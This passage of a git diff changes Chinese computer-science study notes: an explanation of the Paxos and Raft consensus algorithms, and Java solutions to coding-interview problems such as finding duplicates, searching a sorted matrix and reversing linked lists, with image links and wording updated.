-- 告知者（Learner）：被告知投票的结果，不参与投票过程。
+- 提议者（Proposer）：提议一个值；
+- 接受者（Acceptor）：对每个提议进行投票；
+- 告知者（Learner）：被告知投票的结果，不参与投票过程。
 
-![](index_files/b988877c-0f0a-4593-916d-de2081320628.jpg)
+<div align="center"> <img src="pics/b988877c-0f0a-4593-916d-de2081320628.jpg"/> </div><br>
 
-## 执行过程
+## 执行过程
 
-规定一个提议包含两个字段：[n, v]，其中 n 为序号（具有唯一性），v 为提议值。
+规定一个提议包含两个字段：[n, v]，其中 n 为序号（具有唯一性），v 为提议值。
 
-### 1. Prepare 阶段
+### 1. Prepare 阶段
 
-下图演示了两个 Proposer 和三个 Acceptor 的系统中运行该算法的初始过程，每个 Proposer 都会向所有 Acceptor 发送 Prepare 请求。
+下图演示了两个 Proposer 和三个 Acceptor 的系统中运行该算法的初始过程，每个 Proposer 都会向所有 Acceptor 发送 Prepare 请求。
 
-![](index_files/1a9977e4-2f5c-49a6-aec9-f3027c9f46a7.png)
+<div align="center"> <img src="pics/1a9977e4-2f5c-49a6-aec9-f3027c9f46a7.png"/> </div><br>
 
-当 Acceptor 接收到一个 Prepare 请求，包含的提议为 [n1, v1]，并且之前还未接收过 Prepare 请求，那么发送一个 Prepare 响应，设置当前接收到的提议为 [n1, v1]，并且保证以后不会再接受序号小于 n1 的提议。
+当 Acceptor 接收到一个 Prepare 请求，包含的提议为 [n1, v1]，并且之前还未接收过 Prepare 请求，那么发送一个 Prepare 响应，设置当前接收到的提议为 [n1, v1]，并且保证以后不会再接受序号小于 n1 的提议。
 
-如下图，Acceptor X 在收到 [n=2, v=8] 的 Prepare 请求时，由于之前没有接收过提议，因此就发送一个 [no previous] 的 Prepare 响应，设置当前接收到的提议为 [n=2, v=8]，并且保证以后不会再接受序号小于 2 的提议。其它的 Acceptor 类似。
+如下图，Acceptor X 在收到 [n=2, v=8] 的 Prepare 请求时，由于之前没有接收过提议，因此就发送一个 [no previous] 的 Prepare 响应，设置当前接收到的提议为 [n=2, v=8]，并且保证以后不会再接受序号小于 2 的提议。其它的 Acceptor 类似。
 
-![](index_files/fb44307f-8e98-4ff7-a918-31dacfa564b4.jpg)
+<div align="center"> <img src="pics/fb44307f-8e98-4ff7-a918-31dacfa564b4.jpg"/> </div><br>
 
-如果 Acceptor 接收到一个 Prepare 请求，包含的提议为 [n2, v2]，并且之前已经接收过提议 [n1, v1]。如果 n1 > n2，那么就丢弃该提议请求；否则，发送 Prepare 响应，该 Prepare 响应包含之前已经接收过的提议 [n1, v1]，设置当前接收到的提议为 [n2, v2]，并且保证以后不会再接受序号小于 n2 的提议。
+如果 Acceptor 接收到一个 Prepare 请求，包含的提议为 [n2, v2]，并且之前已经接收过提议 [n1, v1]。如果 n1 > n2，那么就丢弃该提议请求；否则，发送 Prepare 响应，该 Prepare 响应包含之前已经接收过的提议 [n1, v1]，设置当前接收到的提议为 [n2, v2]，并且保证以后不会再接受序号小于 n2 的提议。
 
-如下图，Acceptor Z 收到 Proposer A 发来的 [n=2, v=8] 的 Prepare 请求，由于之前已经接收过 [n=4, v=5] 的提议，并且 n > 2，因此就抛弃该提议请求；Acceptor X 收到 Proposer B 发来的 [n=4, v=5] 的 Prepare 请求，因为之前接收到的提议为 [n=2, v=8]，并且 2 <= 4，因此就发送 [n=2, v=8] 的 Prepare 响应，设置当前接收到的提议为 [n=4, v=5]，并且保证以后不会再接受序号小于 4 的提议。Acceptor Y 类似。
+如下图，Acceptor Z 收到 Proposer A 发来的 [n=2, v=8] 的 Prepare 请求，由于之前已经接收过 [n=4, v=5] 的提议，并且 n > 2，因此就抛弃该提议请求；Acceptor X 收到 Proposer B 发来的 [n=4, v=5] 的 Prepare 请求，因为之前接收到的提议为 [n=2, v=8]，并且 2 <= 4，因此就发送 [n=2, v=8] 的 Prepare 响应，设置当前接收到的提议为 [n=4, v=5]，并且保证以后不会再接受序号小于 4 的提议。Acceptor Y 类似。
 
-![](index_files/2bcc58ad-bf7f-485c-89b5-e7cafc211ce2.jpg)
+<div align="center"> <img src="pics/2bcc58ad-bf7f-485c-89b5-e7cafc211ce2.jpg"/> </div><br>
 
-### 2. Accept 阶段
+### 2. Accept 阶段
 
-当一个 Proposer 接收到超过一半 Acceptor 的 Prepare 响应时，就可以发送 Accept 请求。
+当一个 Proposer 接收到超过一半 Acceptor 的 Prepare 响应时，就可以发送 Accept 请求。
 
-Proposer A 接收到两个 Prepare 响应之后，就发送 [n=2, v=8] Accept 请求。该 Accept 请求会被所有 Acceptor 丢弃，因为此时所有 Acceptor 都保证不接受序号小于 4 的提议。
+Proposer A 接收到两个 Prepare 响应之后，就发送 [n=2, v=8] Accept 请求。该 Accept 请求会被所有 Acceptor 丢弃，因为此时所有 Acceptor 都保证不接受序号小于 4 的提议。
 
-Proposer B 过后也收到了两个 Prepare 响应，因此也开始发送 Accept 请求。需要注意的是，Accept 请求的 v 需要取它收到的最大提议编号对应的 v 值，也就是 8。因此它发送 [n=4, v=8] 的 Accept 请求。
+Proposer B 过后也收到了两个 Prepare 响应，因此也开始发送 Accept 请求。需要注意的是，Accept 请求的 v 需要取它收到的最大提议编号对应的 v 值，也就是 8。因此它发送 [n=4, v=8] 的 Accept 请求。
 
-![](index_files/9b838aee-0996-44a5-9b0f-3d1e3e2f5100.png)
+<div align="center"> <img src="pics/9b838aee-0996-44a5-9b0f-3d1e3e2f5100.png"/> </div><br>
 
-### 3. Learn 阶段
+### 3. Learn 阶段
 
-Acceptor 接收到 Accept 请求时，如果序号大于等于该 Acceptor 承诺的最小序号，那么就发送 Learn 提议给所有的 Learner。当 Learner 发现有大多数的 Acceptor 接收了某个提议，那么该提议的提议值就被 Paxos 选择出来。
+Acceptor 接收到 Accept 请求时，如果序号大于等于该 Acceptor 承诺的最小序号，那么就发送 Learn 提议给所有的 Learner。当 Learner 发现有大多数的 Acceptor 接收了某个提议，那么该提议的提议值就被 Paxos 选择出来。
 
-![](index_files/bf667594-bb4b-4634-bf9b-0596a45415ba.jpg)
+<div align="center"> <img src="pics/bf667594-bb4b-4634-bf9b-0596a45415ba.jpg"/> </div><br>
 
-## 约束条件
+## 约束条件
 
-### 1\. 正确性
+### 1\. 正确性
 
 指只有一个提议值会生效。
 
-因为 Paxos 协议要求每个生效的提议被多数 Acceptor 接收，并且 Acceptor 不会接受两个不同的提议，因此可以保证正确性。
+因为 Paxos 协议要求每个生效的提议被多数 Acceptor 接收，并且 Acceptor 不会接受两个不同的提议，因此可以保证正确性。
 
-### 2\. 可终止性
+### 2\. 可终止性
 
 指最后总会有一个提议生效。
 
-Paxos 协议能够让 Proposer 发送的提议朝着能被大多数 Acceptor 接受的那个提议靠拢，因此能够保证可终止性。
+Paxos 协议能够让 Proposer 发送的提议朝着能被大多数 Acceptor 接受的那个提议靠拢，因此能够保证可终止性。
 
-# 六、Raft
+# 六、Raft
 
-Raft 也是分布式一致性协议，主要是用来竞选主节点。
+Raft 也是分布式一致性协议，主要是用来竞选主节点。
 
-## 单个 Candidate 的竞选
+## 单个 Candidate 的竞选
 
-有三种节点：Follower、Candidate 和 Leader。Leader 会周期性的发送心跳包给 Follower。每个 Follower 都设置了一个随机的竞选超时时间，一般为 150ms~300ms，如果在这个时间内没有收到 Leader 的心跳包，就会变成 Candidate，进入竞选阶段。
+有三种节点：Follower、Candidate 和 Leader。Leader 会周期性的发送心跳包给 Follower。每个 Follower 都设置了一个随机的竞选超时时间，一般为 150ms\~300ms，如果在这个时间内没有收到 Leader 的心跳包，就会变成 Candidate，进入竞选阶段。
 
-- 下图展示一个分布式系统的最初阶段，此时只有 Follower 没有 Leader。Node A 等待一个随机的竞选超时时间之后，没收到 Leader 发来的心跳包，因此进入竞选阶段。
+- 下图展示一个分布式系统的最初阶段，此时只有 Follower 没有 Leader。Node A 等待一个随机的竞选超时时间之后，没收到 Leader 发来的心跳包，因此进入竞选阶段。
 
-![](index_files/111521118015898.gif)
+<div align="center"> <img src="pics/111521118015898.gif"/> </div><br>
 
-- 此时 Node A 发送投票请求给其它所有节点。
+- 此时 Node A 发送投票请求给其它所有节点。
 
-![](index_files/111521118445538.gif)
+<div align="center"> <img src="pics/111521118445538.gif"/> </div><br>
 
-- 其它节点会对请求进行回复，如果超过一半的节点回复了，那么该 Candidate 就会变成 Leader。
+- 其它节点会对请求进行回复，如果超过一半的节点回复了，那么该 Candidate 就会变成 Leader。
 
-![](index_files/111521118483039.gif)
+<div align="center"> <img src="pics/111521118483039.gif"/> </div><br>
 
-- 之后 Leader 会周期性地发送心跳包给 Follower，Follower 接收到心跳包，会重新开始计时。
+- 之后 Leader 会周期性地发送心跳包给 Follower，Follower 接收到心跳包，会重新开始计时。
 
-![](index_files/111521118640738.gif)
+<div align="center"> <img src="pics/111521118640738.gif"/> </div><br>
 
-## 多个 Candidate 竞选
+## 多个 Candidate 竞选
 
-- 如果有多个 Follower 成为 Candidate，并且所获得票数相同，那么就需要重新开始投票。例如下图中 Node B 和 Node D 都获得两票，需要重新开始投票。
+- 如果有多个 Follower 成为 Candidate，并且所获得票数相同，那么就需要重新开始投票。例如下图中 Node B 和 Node D 都获得两票，需要重新开始投票。
 
-![](index_files/111521119203347.gif)
+<div align="center"> <img src="pics/111521119203347.gif"/> </div><br>
 
-- 由于每个节点设置的随机竞选超时时间不同，因此下一次再次出现多个 Candidate 并获得同样票数的概率很低。
+- 由于每个节点设置的随机竞选超时时间不同，因此下一次再次出现多个 Candidate 并获得同样票数的概率很低。
 
-![](index_files/111521119368714.gif)
+<div align="center"> <img src="pics/111521119368714.gif"/> </div><br>
 
-## 数据同步
+## 数据同步
 
-- 来自客户端的修改都会被传入 Leader。注意该修改还未被提交，只是写入日志中。
+- 来自客户端的修改都会被传入 Leader。注意该修改还未被提交，只是写入日志中。
 
-![](index_files/7.gif)
+<div align="center"> <img src="pics/7.gif"/> </div><br>
 
-- Leader 会把修改复制到所有 Follower。
+- Leader 会把修改复制到所有 Follower。
 
-![](index_files/9.gif)
+<div align="center"> <img src="pics/9.gif"/> </div><br>
 
-- Leader 会等待大多数的 Follower 也进行了修改，然后才将修改提交。
+- Leader 会等待大多数的 Follower 也进行了修改，然后才将修改提交。
 
-![](index_files/10.gif)
+<div align="center"> <img src="pics/10.gif"/> </div><br>
 
-- 此时 Leader 会通知的所有 Follower 让它们也提交修改，此时所有节点的值达成一致。
+- 此时 Leader 会通知的所有 Follower 让它们也提交修改，此时所有节点的值达成一致。
 
-![](index_files/11.gif)
+<div align="center"> <img src="pics/11.gif"/> </div><br>
 
-# 参考
+# 参考
 
-- 倪超. 从 Paxos 到 ZooKeeper : 分布式一致性原理与实践 [M]. 电子工业出版社, 2015.
-- [Distributed locks with Redis](https://redis.io/topics/distlock)
-- [浅谈分布式锁](http://www.linkedkeeper.com/detail/blog.action?bid=1023)
-- [基于 Zookeeper 的分布式锁](http://www.dengshenyu.com/java/%E5%88%86%E5%B8%83%E5%BC%8F%E7%B3%BB%E7%BB%9F/2017/10/23/zookeeper-distributed-lock.html)
-- [Raft: Understandable Distributed Consensus](http://thesecretlivesofdata.com/raft)
-- [聊聊分布式事务，再说说解决方案](https://www.cnblogs.com/savorboard/p/distributed-system-transaction-consistency.html)
-- [分布式系统的事务处理](https://coolshell.cn/articles/10910.html)
-- [深入理解分布式事务](https://juejin.im/entry/577c6f220a2b5800573492be)
-- [What is CAP theorem in distributed database system?](http://www.colooshiki.com/index.php/2017/04/20/what-is-cap-theorem-in-distributed-database-system/)
-- [NEAT ALGORITHMS - PAXOS](http://harry.me/blog/2014/12/27/neat-algorithms-paxos/)
-- [Paxos By Example](https://angus.nyc/2012/paxos-by-example/)
+- 倪超. 从 Paxos 到 ZooKeeper : 分布式一致性原理与实践 [M]. 电子工业出版社, 2015.
+- [Distributed locks with Redis](https://redis.io/topics/distlock)
+- [浅谈分布式锁](http://www.linkedkeeper.com/detail/blog.action?bid=1023)
+- [基于 Zookeeper 的分布式锁](http://www.dengshenyu.com/java/%E5%88%86%E5%B8%83%E5%BC%8F%E7%B3%BB%E7%BB%9F/2017/10/23/zookeeper-distributed-lock.html)
+- [Raft: Understandable Distributed Consensus](http://thesecretlivesofdata.com/raft)
+- [聊聊分布式事务，再说说解决方案](https://www.cnblogs.com/savorboard/p/distributed-system-transaction-consistency.html)
+- [分布式系统的事务处理](https://coolshell.cn/articles/10910.html)
+- [深入理解分布式事务](https://juejin.im/entry/577c6f220a2b5800573492be)
+- [What is CAP theorem in distributed database system?](http://www.colooshiki.com/index.php/2017/04/20/what-is-cap-theorem-in-distributed-database-system/)
+- [NEAT ALGORITHMS - PAXOS](http://harry.me/blog/2014/12/27/neat-algorithms-paxos/)
+- [Paxos By Example](https://angus.nyc/2012/paxos-by-example/)
 
----bottom---CyC---
-![](index_files/e3bf5de4-ab1e-4a9b-896d-4b0ad7e9220a.jpg)
-![](index_files/31d99967-1171-448e-8531-bccf5c14cffe.jpg)
-![](index_files/cookiedata.png)
-![](index_files/MultiNode-StickySessions.jpg)
-![](index_files/MultiNode-SessionReplication.jpg)
-![](index_files/MultiNode-SpringSession.jpg)
-![](index_files/2766d04f-7dad-42e4-99d1-60682c9d5c61.jpg)
-![](index_files/f7ecbb8d-bb8b-4d45-a3b7-f49425d6d83d.jpg)
-![](index_files/211c60d4-75ca-4acd-8a4f-171458ed58b4.jpg)
-![](index_files/3b0d1aa8-d0e0-46c2-8fd1-736bf08a11aa.jpg)
-![](index_files/1f4a7f10-52b2-4bd7-a67d-a9581d66dc62.jpg)
-![](index_files/44edefb7-4b58-4519-b8ee-4aca01697b78.jpg)
-![](index_files/0ee0f61b-c782-441e-bf34-665650198ae0.jpg)
-![](index_files/2018040302.jpg)
-![](index_files/10bdf7bf-0daa-4a26-b927-f142b3f8e72b.png)
-![](index_files/f8b16d1e-7363-4544-94d6-4939fdf849dc.png)
-![](index_files/f0e35b7a-2948-488a-a5a9-97d3f6b5e2d7.png)
-![](index_files/265a355d-aead-48aa-b455-f33b62fe729f.png)
-![](index_files/52e1af6f-3a7a-4bee-aa8f-fcb5dacebe40.jpg)
diff --git a/docs/notes/剑指 offer 题解.md b/docs/notes/剑指 offer 题解.md
index 58f26f38..140023c7 100644
--- a/docs/notes/剑指 offer 题解.md	
+++ b/docs/notes/剑指 offer 题解.md	
@@ -1,993 +1,1078 @@
-# 1. 前言
+[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
+<!-- GFM-TOC -->
+* [1. 前言](#1-前言)
+* [2. 实现 Singleton](#2-实现-singleton)
+* [3. 数组中重复的数字](#3-数组中重复的数字)
+* [4. 二维数组中的查找](#4-二维数组中的查找)
+* [5. 替换空格](#5-替换空格)
+* [6. 从尾到头打印链表](#6-从尾到头打印链表)
+* [7. 重建二叉树](#7-重建二叉树)
+* [8. 二叉树的下一个结点](#8-二叉树的下一个结点)
+* [9. 用两个栈实现队列](#9-用两个栈实现队列)
+* [10.1 斐波那契数列](#101-斐波那契数列)
+* [10.2 跳台阶](#102-跳台阶)
+* [10.3 矩形覆盖](#103-矩形覆盖)
+* [10.4 变态跳台阶](#104-变态跳台阶)
+* [11. 旋转数组的最小数字](#11-旋转数组的最小数字)
+* [12. 矩阵中的路径](#12-矩阵中的路径)
+* [13. 机器人的运动范围](#13-机器人的运动范围)
+* [14. 剪绳子](#14-剪绳子)
+* [15. 二进制中 1 的个数](#15-二进制中-1-的个数)
+* [16. 数值的整数次方](#16-数值的整数次方)
+* [17. 打印从 1 到最大的 n 位数](#17-打印从-1-到最大的-n-位数)
+* [18.1 在 O(1) 时间内删除链表节点](#181-在-o1-时间内删除链表节点)
+* [18.2 删除链表中重复的结点](#182-删除链表中重复的结点)
+* [19. 正则表达式匹配](#19-正则表达式匹配)
+* [20. 表示数值的字符串](#20-表示数值的字符串)
+* [21. 调整数组顺序使奇数位于偶数前面](#21-调整数组顺序使奇数位于偶数前面)
+* [22. 链表中倒数第 K 个结点](#22-链表中倒数第-k-个结点)
+* [23. 链表中环的入口结点](#23-链表中环的入口结点)
+* [24. 反转链表](#24-反转链表)
+* [25. 合并两个排序的链表](#25-合并两个排序的链表)
+* [26. 树的子结构](#26-树的子结构)
+* [27. 二叉树的镜像](#27-二叉树的镜像)
+* [28 对称的二叉树](#28-对称的二叉树)
+* [29. 顺时针打印矩阵](#29-顺时针打印矩阵)
+* [30. 包含 min 函数的栈](#30-包含-min-函数的栈)
+* [31. 栈的压入、弹出序列](#31-栈的压入弹出序列)
+* [32.1 从上往下打印二叉树](#321-从上往下打印二叉树)
+* [32.2 把二叉树打印成多行](#322-把二叉树打印成多行)
+* [32.3 按之字形顺序打印二叉树](#323-按之字形顺序打印二叉树)
+* [33. 二叉搜索树的后序遍历序列](#33-二叉搜索树的后序遍历序列)
+* [34. 二叉树中和为某一值的路径](#34-二叉树中和为某一值的路径)
+* [35. 复杂链表的复制](#35-复杂链表的复制)
+* [36. 二叉搜索树与双向链表](#36-二叉搜索树与双向链表)
+* [37. 序列化二叉树](#37-序列化二叉树)
+* [38. 字符串的排列](#38-字符串的排列)
+* [39. 数组中出现次数超过一半的数字](#39-数组中出现次数超过一半的数字)
+* [40. 最小的 K 个数](#40-最小的-k-个数)
+* [41.1 数据流中的中位数](#411-数据流中的中位数)
+* [41.2 字符流中第一个不重复的字符](#412-字符流中第一个不重复的字符)
+* [42. 连续子数组的最大和](#42-连续子数组的最大和)
+* [43. 从 1 到 n 整数中 1 出现的次数](#43-从-1-到-n-整数中-1-出现的次数)
+* [44. 数字序列中的某一位数字](#44-数字序列中的某一位数字)
+* [45. 把数组排成最小的数](#45-把数组排成最小的数)
+* [46. 把数字翻译成字符串](#46-把数字翻译成字符串)
+* [47. 礼物的最大价值](#47-礼物的最大价值)
+* [48. 最长不含重复字符的子字符串](#48-最长不含重复字符的子字符串)
+* [49. 丑数](#49-丑数)
+* [50. 第一个只出现一次的字符位置](#50-第一个只出现一次的字符位置)
+* [51. 数组中的逆序对](#51-数组中的逆序对)
+* [52. 两个链表的第一个公共结点](#52-两个链表的第一个公共结点)
+* [53. 数字在排序数组中出现的次数](#53-数字在排序数组中出现的次数)
+* [54. 二叉查找树的第 K 个结点](#54-二叉查找树的第-k-个结点)
+* [55.1 二叉树的深度](#551-二叉树的深度)
+* [55.2 平衡二叉树](#552-平衡二叉树)
+* [56. 数组中只出现一次的数字](#56-数组中只出现一次的数字)
+* [57.1 和为 S 的两个数字](#571-和为-s-的两个数字)
+* [57.2 和为 S 的连续正数序列](#572-和为-s-的连续正数序列)
+* [58.1 翻转单词顺序列](#581-翻转单词顺序列)
+* [58.2 左旋转字符串](#582-左旋转字符串)
+* [59. 滑动窗口的最大值](#59-滑动窗口的最大值)
+* [60. n 个骰子的点数](#60-n-个骰子的点数)
+* [61. 扑克牌顺子](#61-扑克牌顺子)
+* [62. 圆圈中最后剩下的数](#62-圆圈中最后剩下的数)
+* [63. 股票的最大利润](#63-股票的最大利润)
+* [64. 求 1+2+3+...+n](#64-求-123n)
+* [65. 不用加减乘除做加法](#65-不用加减乘除做加法)
+* [66. 构建乘积数组](#66-构建乘积数组)
+* [67. 把字符串转换成整数](#67-把字符串转换成整数)
+* [68. 树中两个节点的最低公共祖先](#68-树中两个节点的最低公共祖先)
+* [参考文献](#参考文献)
+<!-- GFM-TOC -->
+
+
+# 1. 前言
 
 本文内容可在微信小程序中阅读：
 
-![](index_files/gh_a68199af85d6_258_20_282_29.jpg)
+<div align="center"> <img src="pics/gh_a68199af85d6_258_20_282_29.jpg"/> </div><br>
 
-# 2. 实现 Singleton
+# 2. 实现 Singleton
 
 [单例模式](设计模式.md)
 
-# 3. 数组中重复的数字
+# 3. 数组中重复的数字
 
 [NowCoder](https://www.nowcoder.com/practice/623a5ac0ea5b4e5f95552655361ae0a8?tpId=13&tqId=11203&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-在一个长度为 n 的数组里的所有数字都在 0 到 n-1 的范围内。数组中某些数字是重复的，但不知道有几个数字是重复的，也不知道每个数字重复几次。请找出数组中任意一个重复的数字。
+在一个长度为 n 的数组里的所有数字都在 0 到 n-1 的范围内。数组中某些数字是重复的，但不知道有几个数字是重复的，也不知道每个数字重复几次。请找出数组中任意一个重复的数字。
 
 ```html
 Input:
-{2, 3, 1, 0, 2, 5}
+{2, 3, 1, 0, 2, 5}
 
 Output:
 2
 ```
 
-## 解题思路
+## 解题思路
 
-要求是时间复杂度 O(N)，空间复杂度 O(1)。因此不能使用排序的方法，也不能使用额外的标记数组。
+要求复杂度为 O(N) + O(1)，也就是时间复杂度 O(N)，空间复杂度 O(1)。因此不能使用排序的方法，也不能使用额外的标记数组。
 
-对于这种数组元素在 [0, n-1] 范围内的问题，可以将值为 i 的元素调整到第 i 个位置上进行求解。
+对于这种数组元素在 [0, n-1] 范围内的问题，可以将值为 i 的元素调整到第 i 个位置上进行求解。
 
-以 (2, 3, 1, 0, 2, 5) 为例，遍历到位置 4 时，该位置上的数为 2，但是第 2 个位置上已经有一个 2 的值了，因此可以知道 2 重复：
+以 (2, 3, 1, 0, 2, 5) 为例，遍历到位置 4 时，该位置上的数为 2，但是第 2 个位置上已经有一个 2 的值了，因此可以知道 2 重复：
+
+<div align="center"> <img src="https://github.com/CyC2018/CS-Notes/raw/master/docs/notes/pics/11548084848123.gif" width="250px"> </div><br>
 
-<img src="index_files/_u6570_u7EC4_u4E2D_u91CD_u590D_1548260392361.gif" width="250px">
 
 ```java
-public boolean duplicate(int[] nums, int length, int[] duplication) {
-    if (nums == null || length <= 0)
-        return false;
-    for (int i = 0; i < length; i++) {
-        while (nums[i] != i) {
-            if (nums[i] == nums[nums[i]]) {
-                duplication[0] = nums[i];
-                return true;
-            }
-            swap(nums, i, nums[i]);
-        }
-    }
-    return false;
+public boolean duplicate(int[] nums, int length, int[] duplication) {
+    if (nums == null || length <= 0)
+        return false;
+    for (int i = 0; i < length; i++) {
+        while (nums[i] != i) {
+            if (nums[i] == nums[nums[i]]) {
+                duplication[0] = nums[i];
+                return true;
+            }
+            swap(nums, i, nums[i]);
+        }
+    }
+    return false;
 }
 
-private void swap(int[] nums, int i, int j) {
-    int t = nums[i];
-    nums[i] = nums[j];
-    nums[j] = t;
+private void swap(int[] nums, int i, int j) {
+    int t = nums[i];
+    nums[i] = nums[j];
+    nums[j] = t;
 }
 ```
 
-# 4. 二维数组中的查找
+# 4. 二维数组中的查找
 
 [NowCoder](https://www.nowcoder.com/practice/abc3fe2ce8e146608e868a70efebf62e?tpId=13&tqId=11154&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
-给定一个二维数组，其每一行从左到右递增排序，从上到下也是递增排序。给定一个数，判断这个数是否在该二维数组中。
+在一个二维数组中，每一行都按照从左到右递增的顺序排序，每一列都按照从上到下递增的顺序排序。请完成一个函数，输入这样的一个二维数组和一个整数，判断数组中是否含有该整数。
 
 ```html
-Consider the following matrix:
+Consider the following matrix:
 [
-  [1,   4,  7, 11, 15],
-  [2,   5,  8, 12, 19],
-  [3,   6,  9, 16, 22],
-  [10, 13, 14, 17, 24],
-  [18, 21, 23, 26, 30]
+  [1,   4,  7, 11, 15],
+  [2,   5,  8, 12, 19],
+  [3,   6,  9, 16, 22],
+  [10, 13, 14, 17, 24],
+  [18, 21, 23, 26, 30]
 ]
 
-Given target = 5, return true.
-Given target = 20, return false.
+Given target = 5, return true.
+Given target = 20, return false.
 ```
 
-## 解题思路
+## 解题思路
 
-要求时间复杂度 O(M + N)，空间复杂度 O(1)。
+从右上角开始查找。矩阵中的一个数，它左边的数都比它小，下边的数都比它大。因此，从右上角开始查找，就可以根据 target 和当前元素的大小关系来缩小查找区间。
 
-该二维数组中的一个数，它左边的数都比它小，下边的数都比它大。因此，从右上角开始查找，就可以根据 target 和当前元素的大小关系来缩小查找区间，当前元素的查找区间为左下角的所有元素。
+复杂度：O(M + N) + O(1)
 
-![](index_files/_u4E8C_u7EF4_u6570_u7EC4_u4E2D_.gif)
+当前元素的查找区间为左下角的所有元素，例如元素 12 的查找区间如下：
+
+<div align="center"> <img src="pics/f94389e9-55b1-4f49-9d37-00ed05900ae0.png" width="250"/> </div><br>
 
 ```java
-public boolean Find(int target, int[][] matrix) {
-    if (matrix == null || matrix.length == 0 || matrix[0].length == 0)
-        return false;
-    int rows = matrix.length, cols = matrix[0].length;
-    int r = 0, c = cols - 1; // 从右上角开始
-    while (r <= rows - 1 && c >= 0) {
-        if (target == matrix[r][c])
-            return true;
-        else if (target > matrix[r][c])
-            r++;
-        else
-            c--;
-    }
-    return false;
+public boolean Find(int target, int[][] matrix) {
+    if (matrix == null || matrix.length == 0 || matrix[0].length == 0)
+        return false;
+    int rows = matrix.length, cols = matrix[0].length;
+    int r = 0, c = cols - 1; // 从右上角开始
+    while (r <= rows - 1 && c >= 0) {
+        if (target == matrix[r][c])
+            return true;
+        else if (target > matrix[r][c])
+            r++;
+        else
+            c--;
+    }
+    return false;
 }
 ```
 
-# 5. 替换空格
+# 5. 替换空格
 
 [NowCoder](https://www.nowcoder.com/practice/4060ac7e3e404ad1a894ef3e17650423?tpId=13&tqId=11155&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
 
-将一个字符串中的空格替换成 "%20"。
+将一个字符串中的空格替换成 "%20"。
 
 ```text
 Input:
-"A B"
+"We Are Happy"
 
 Output:
-"A%20B"
+"We%20Are%20Happy"
 ```
 
-## 解题思路
+## 解题思路
 
 在字符串尾部填充任意字符，使得字符串的长度等于替换之后的长度。因为一个空格要替换成三个字符（%20），因此当遍历到一个空格时，需要在尾部填充两个任意字符。
 
-令 P1 指向字符串原来的末尾位置，P2 指向字符串现在的末尾位置。P1 和 P2 从后向前遍历，当 P1 遍历到一个空格时，就需要令 P2 指向的位置依次填充 02%（注意是逆序的），否则就填充上 P1 指向字符的值。
+令 P1 指向字符串原来的末尾位置，P2 指向字符串现在的末尾位置。P1 和 P2 从后向前遍历，当 P1 遍历到一个空格时，就需要令 P2 指向的位置依次填充 02%（注意是逆序的），否则就填充上 P1 指向字符的值。
 
-从后向前遍是为了在改变 P2 所指向的内容时，不会影响到 P1 遍历原来字符串的内容。
-
-![](index_files/_u66FF_u6362_u7A7A_u683C.gif)
+从后向前遍是为了在改变 P2 所指向的内容时，不会影响到 P1 遍历原来字符串的内容。
 
 ```java
-public String replaceSpace(StringBuffer str) {
-    int P1 = str.length() - 1;
-    for (int i = 0; i <= P1; i++)
-        if (str.charAt(i) == ' ')
-            str.append("  ");
+public String replaceSpace(StringBuffer str) {
+    int P1 = str.length() - 1;
+    for (int i = 0; i <= P1; i++)
+        if (str.charAt(i) == ' ')
+            str.append("  ");
 
-    int P2 = str.length() - 1;
-    while (P1 >= 0 && P2 > P1) {
-        char c = str.charAt(P1--);
-        if (c == ' ') {
-            str.setCharAt(P2--, '0');
-            str.setCharAt(P2--, '2');
-            str.setCharAt(P2--, '%');
-        } else {
-            str.setCharAt(P2--, c);
-        }
-    }
-    return str.toString();
+    int P2 = str.length() - 1;
+    while (P1 >= 0 && P2 > P1) {
+        char c = str.charAt(P1--);
+        if (c == ' ') {
+            str.setCharAt(P2--, '0');
+            str.setCharAt(P2--, '2');
+            str.setCharAt(P2--, '%');
+        } else {
+            str.setCharAt(P2--, c);
+        }
+    }
+    return str.toString();
 }
 ```
 
-# 6. 从尾到头打印链表
+# 6. 从尾到头打印链表
 
 [NowCoder](https://www.nowcoder.com/practice/d0267f7f55b3412ba93bd35cfa8e8035?tpId=13&tqId=11156&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
 
-## 题目描述
+## 题目描述
 
 输入链表的第一个节点，从尾到头反过来打印出每个结点的值。
 
-<img src="index_files/d99dc9e2-197c-4085-813d-7195da1c6762.png" width="300"/>
+<div align="center"> <img src="pics/d99dc9e2-197c-4085-813d-7195da1c6762.png" width="300"/> </div><br>
 
-## 解题思路
+## 解题思路
 
-### 使用栈
+### 使用栈
 
 ```java
-public ArrayList<Integer> printListFromTailToHead(ListNode listNode) {
-    Stack<Integer> stack = new Stack<>();
-    while (listNode != null) {
-        stack.add(listNode.val);
-        listNode = listNode.next;
-    }
-    ArrayList<Integer> ret = new ArrayList<>();
-    while (!stack.isEmpty())
-        ret.add(stack.pop());
-    return ret;
+public ArrayList<Integer> printListFromTailToHead(ListNode listNode) {
+    Stack<Integer> stack = new Stack<>();
+    while (listNode != null) {
+        stack.add(listNode.val);
+        listNode = listNode.next;
+    }
+    ArrayList<Integer> ret = new ArrayList<>();
+    while (!stack.isEmpty())
+        ret.add(stack.pop());
+    return ret;
 }
 ```
 
-### 使用递归
+### 使用递归
 
 ```java
-public ArrayList<Integer> printListFromTailToHead(ListNode listNode) {
-    ArrayList<Integer> ret = new ArrayList<>();
-    if (listNode != null) {
-        ret.addAll(printListFromTailToHead(listNode.next));
-        ret.add(listNode.val);
-    }
-    return ret;
+public ArrayList<Integer> printListFromTailToHead(ListNode listNode) {
+    ArrayList<Integer> ret = new ArrayList<>();
+    if (listNode != null) {
+        ret.addAll(printListFromTailToHead(listNode.next));
+        ret.add(listNode.val);
+    }
+    return ret;
 }
 ```
 
-### 使用头插法
+### 使用头插法
 
 利用链表头插法为逆序的特点。
 
 头结点和第一个节点的区别：
 
-- 头结点是在头插法中使用的一个额外节点，这个节点不存储值；
-- 第一个节点就是链表的第一个真正存储值的节点。
+- 头结点是在头插法中使用的一个额外节点，这个节点不存储值；
+- 第一个节点就是链表的第一个真正存储值的节点。
 
 ```java
-public ArrayList<Integer> printListFromTailToHead(ListNode listNode) {
